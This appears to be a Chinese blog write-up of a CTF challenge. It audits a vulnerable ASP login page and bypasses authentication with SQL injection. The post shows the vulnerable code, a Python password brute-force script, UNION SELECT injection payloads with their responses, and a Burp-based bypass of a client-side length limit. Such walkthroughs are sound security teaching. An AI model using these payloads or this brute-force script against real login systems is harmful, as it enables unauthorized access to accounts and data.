[漏洞分析] CTF:ASP源码审计认证绕过

原创 2015年07月07日 13:46:07
登录界面如下:

随便尝试一个登录凭证,系统会报错

这是一个考察源代码审计的题,从页面中可得源代码为
<%
On Error Resume Next
dim name, pass, sql, action
set conn = server.CreateObject("ADODB.Connection")
conn.open "provider=Microsoft.jet.OLEDB.4.0;Data Source="
	&Server.mappath("******.mdb")
name = request.form("username")
pass = request.form("userpass")
action = request("action")


if action="login" then
 sql = "select * from bdmin where name='" & name & "'"
 set rs=server.CreateObject("adodb.recordset")
 rs.open sql,conn,1,3
 if rs.eof and rs.bof then
   response.write "<center>user or pass error!</center>"
 else 
   if StrComp(rs("pass"),pass) = 0 then
   response.write "<center>Great! Key:*********</center>"
   end if
 end if 
end if
%>
从页面处获得用户输入的用户名和密码,
首先先验证用户名是否在数据库中存在,即代码:sql = "select * from bdmin where name='" & name & "'",如果用户名存在(也就是说合法用户)继续认证密码,否则在页面打印“user or pass error!”
此处我输入了' OR 'a'='a来绕过对于用户名的检查,绕过之后不会有“user or pass error!”报错信息。

接下来就是对密码的检查了,代码中有一句if StrComp(rs("pass"),pass) = 0,也就是说在本题中,从刚才验证用户名成功的条目中取出密码值与用户的密码值进行比对,碰上了就会打印“Great! Key:*********”
于是编写了一个python脚本结合字典尝试对此进行暴力破解,但实验结果表明用户名和密码没有对的。
#!/usr/bin/python
#-*-coding:utf-8-*-

#网页POST提交数据

import urllib
import urllib2
import re

url = 'http://ctf8.simplexue.com/aspaudit/?action=login'
header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',
              'Accept':'text/html;q=0.9,*/*;q=0.8',
              'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
              'Accept-Encoding':'gzip',
              'Connection':'close',
              'Referer':None,
              'Host': 'ctf8.simplexue.com'}
username_input = "admin"
fobj = open('password.txt','r')
for eachline in fobj:
	values = {'username':username_input,'userpass':eachline.strip()}
	data = urllib.urlencode(values)
	print data

	req = urllib2.Request(url,data,header)
	response = urllib2.urlopen(req)
	the_page = response.read()

	flag = re.compile(r'Great!',re.DOTALL).findall(the_page)
	if len(flag)>1:
		print "PASSWORD:"+eachline.strip()
		break
于是如果想过第二关就得自己构造pass字段。
也就是在用户名处输入username=' union select 1,1,1 from bdmin where ''='
在密码处输入1
当然含有3个字段是一点点尝试出来的,也就是:
用户名:' union select 1 from bdmin where ''='密码:1 (报错 user or pass error!)
用户名:' union select 1,1 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,1,1 from bdmin where ''='密码:1(返回Great! Key:Beautlful111)

随后为了进一步确认究竟哪个字段为密码字段,进行如下尝试:
用户名:' union select 1,2,3 from bdmin where ''='密码:1(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:2(报错 user or pass error!)
用户名:' union select 1,2,3 from bdmin where ''='密码:3(返回Great! Key:Beautlful111)
可见第3个字段是密码字段。


注意:
本处对于用户名和密码的输入都在burp中进行,因为对于Username字段的定义,其最大长度为15,但仅在前端做了限制因此可用burp绕过,在编写HTTP Body部分时,需要进行UELEncode

也就是将username=' union select 1,1,1 from bdmin where ''='&userpass=1编码为username=%27%20union%20select%201%2C1%2C1%20from%20bdmin%20where%20%27%27%3D%27&userpass=1


版权声明:本文为博主原创文章,未经博主允许不得转载。

[漏洞分析] CTF:ASP源码审计认证绕过

登录界面如下: 随便尝试一个登录凭证,系统会报错 这是一个考察源代码审计的题,从页面中可得源代码为 ...
  • hitwangpeng
  • hitwangpeng
  • 2015年07月07日 13:46
  • 2211

asp代码审计

  • 2012年08月04日 20:32
  • 888KB
  • 下载

CTF中常见的php函数绕过(保持更新)

is_numeric()用于判断是否是数字,通常配合数值判断is_numeric(@$a["param1"])?exit:NULL; if(@$a["param1"]){ ($a["param...
  • csu_vc
  • csu_vc
  • 2017年11月03日 21:47
  • 290

ctf sql注入关键词绕过【积累中】

0x00 sql注入的原因 sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量。 但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执...
  • wy_97
  • wy_97
  • 2017年09月25日 15:25
  • 5032

aspphp代码审计资料

  • 2013年05月14日 18:47
  • 13.29MB
  • 下载

代码审计入门

0x01 整体 学习代码审计的目标是能够独立完成对一个CMS的代码安全监测。其通用的思路有: 通读全文代码,从功能函数代码开始阅读,例如include文件夹下的common_fun.php,或者有...
  • kuiguowei
  • kuiguowei
  • 2018年01月16日 09:27
  • 141

CTF/CTF练习平台-各种绕过哟【sha1数组类型比较漏洞】

原题内容: 各种绕过哟 http://120.24.86.145:8002/web7/ 吐槽一下,,,提示真的恶心,,误导 还好有印象对sha1,具体漏洞信息可见我的博客SHA1/MD5/U...
  • wy_97
  • wy_97
  • 2017年09月14日 19:38
  • 589

浅谈CTF中命令执行与绕过的小技巧

*本文原创作者:pupiles,本文属FreeBuf原创奖励计划,未经许可禁止转载 缘起lemon师傅在安全客里发表的一篇文章,总结的很详细,学到了很多姿势。但是在此我还想画蛇添足的做一些补充及解释...
  • qq_27446553
  • qq_27446553
  • 2017年06月29日 19:41
  • 1734

Seay源代码审计系统v2.0源码20130801

  • 2013年08月24日 09:36
  • 9.92MB
  • 下载

源代码审计

源代码审计
  • cnbird2008
  • cnbird2008
  • 2010年12月21日 09:23
  • 3829
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:[漏洞分析] CTF:ASP源码审计认证绕过
举报原因:
原因补充:

(最多只允许输入30个字)